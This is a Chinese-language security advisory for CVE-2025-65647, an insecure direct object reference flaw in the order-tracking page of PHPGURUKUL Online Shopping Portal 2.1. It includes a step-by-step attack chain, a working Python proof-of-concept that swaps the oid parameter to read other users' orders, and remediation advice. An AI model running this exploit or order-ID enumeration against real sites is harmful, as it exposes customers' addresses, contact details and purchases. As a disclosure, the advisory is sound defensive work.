IPBUF安全漏洞报告
English
CVE-2025-65647 CVSS 4.3 中危

CVE-2025-65647 | PHPGURUKUL在线购物门户订单跟踪功能IDOR漏洞导致信息泄露

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-65647
漏洞类型
IDOR不安全的直接对象引用
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PHPGURUKUL Online Shopping Portal 2.1

相关标签

IDOR信息泄露PHPGURUKUL在线购物门户订单跟踪越权访问Web应用安全CVE-2025-65647

漏洞概述

CVE-2025-65647是PHPGURUKUL在线购物门户2.1版本中的一个中危安全漏洞,属于不安全的直接对象引用(IDOR)类型。该漏洞存在于订单跟踪(Track Order)功能模块中,攻击者可以通过操纵oid参数(订单ID参数)来未经授权访问其他用户的订单信息。由于该漏洞不需要高权限或复杂的攻击条件,攻击者只需知道或猜测有效的订单ID即可获取敏感信息,包括订单详情、收货地址、联系方式等个人隐私数据。此漏洞的CVSS评分为4.3,影响系统的机密性,可导致用户隐私信息泄露。在网络环境下,具有低权限的普通用户即可利用此漏洞越权访问系统中的订单数据,对用户隐私和数据安全构成威胁。

技术细节

该漏洞源于PHPGURUKUL Online Shopping Portal 2.1的订单跟踪功能对用户输入的oid参数缺乏充分的授权验证。当用户访问订单跟踪页面时,系统直接使用传入的订单ID查询数据库并返回订单信息,而未验证该订单是否属于当前登录用户。攻击者可以通过以下方式利用此漏洞:1) 注册一个普通用户账号并登录;2) 访问订单跟踪页面并拦截请求;3) 修改oid参数值为其他用户的订单ID;4) 发送修改后的请求,系统将返回对应订单的完整信息。由于订单ID通常具有可预测性(如顺序递增的数字),攻击者可以通过枚举方式批量获取用户订单数据。此漏洞的技术根本原因在于后端代码缺少基于会话的访问控制检查,直接信任用户输入的对象标识符。

攻击链分析

STEP 1
步骤1
攻击者注册并登录PHPGURUKUL在线购物门户,获取有效会话
STEP 2
步骤2
攻击者访问订单跟踪功能(track-order.php),拦截正常请求
STEP 3
步骤3
攻击者修改请求中的oid参数值,将其替换为目标订单ID(如1001、1002等)
STEP 4
步骤4
系统未验证oid参数对应的订单是否属于当前用户,直接返回订单详情
STEP 5
步骤5
攻击者获取目标订单的敏感信息,包括收货地址、联系方式、购买商品等
STEP 6
步骤6
攻击者可通过自动化脚本枚举订单ID,批量窃取用户隐私数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-65647 PoC - IDOR in PHPGURUKUL Online Shopping Portal 2.1 # Target: Track Order function - oid parameter def exploit_idor(target_url, order_id): """ Exploit IDOR vulnerability in Track Order function target_url: Base URL of the vulnerable application order_id: Order ID to access (can be any valid order ID) """ # Login first to get valid session login_url = f"{target_url}/login.php" session = requests.Session() # Login with valid credentials login_data = { "email": "[email protected]", "password": "attacker_password" } try: # Perform login login_response = session.post(login_url, data=login_data, timeout=10) # Access Track Order page with manipulated oid parameter track_order_url = f"{target_url}/track-order.php" params = {"oid": order_id} # Manipulated order ID response = session.get(track_order_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed order ID: {order_id}") print(f"[+] Response length: {len(response.text)} bytes") # Check for sensitive information in response if "order" in response.text.lower() or "address" in response.text.lower(): print("[!] Sensitive order information leaked!") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <order_id>") print(f"Example: python {sys.argv[0]} http://target.com/shopping 1001") sys.exit(1) target = sys.argv[1] order_id = sys.argv[2] print(f"[*] CVE-2025-65647 PoC - IDOR in PHPGURUKUL Track Order") print(f"[*] Target: {target}") print(f"[*] Target Order ID: {order_id}") exploit_idor(target, order_id)

影响范围

PHPGURUKUL Online Shopping Portal 2.1

防御指南

临时缓解措施
在订单跟踪功能的后端代码中,在查询订单信息前添加当前用户身份验证和订单所有权校验。可以通过在数据库查询时加入WHERE条件(如WHERE order_id=? AND user_id=?),确保只返回当前用户所属的订单。同时建议实施参数化查询防止SQL注入,并对订单ID进行范围验证和类型检查。临时措施可配置Web应用防火墙(WAF)规则,限制异常的订单ID访问模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表